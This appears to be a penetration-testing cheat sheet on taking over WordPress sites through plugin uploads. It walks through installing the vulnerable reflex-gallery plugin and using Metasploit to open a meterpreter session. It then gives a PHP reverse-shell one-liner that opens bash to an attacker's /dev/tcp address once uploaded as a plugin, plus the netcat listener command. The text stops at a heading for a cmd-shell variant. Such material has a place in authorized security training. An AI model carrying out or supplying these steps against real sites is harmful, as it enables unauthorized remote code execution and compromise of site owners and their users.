Malicious plugin

Uploading and activating malicious plugin

WordPress Plugin Exploitation (File Upload to RCE)

This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:

1. Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.

2. Plugin Installation:

   • Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.

   • Upload the zip file of the downloaded plugin.

3. Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.

4. Exploitation:

   • With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.

   • The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.

   • It's noted that this is just one of the many methods to exploit a WordPress site.

Upload & Execute Payload

PHP reverse shell - Via upload shell.php

💡 Please note:

1. The newest version doesn't allow any more uploading plugin with .php only with .zip

2. The code can be changed from reverse shell to cmd-shell, using my simple-shell.php from this repository (PHP file).

Upload Plugin shell.php:

Upload a PHP reverse shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/[ip-vm]/[port] 0>&1'"); ?>

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Open listener using netcat :

nc -lnvp [port_number]

PHP cmd shell - Via upload shell.zip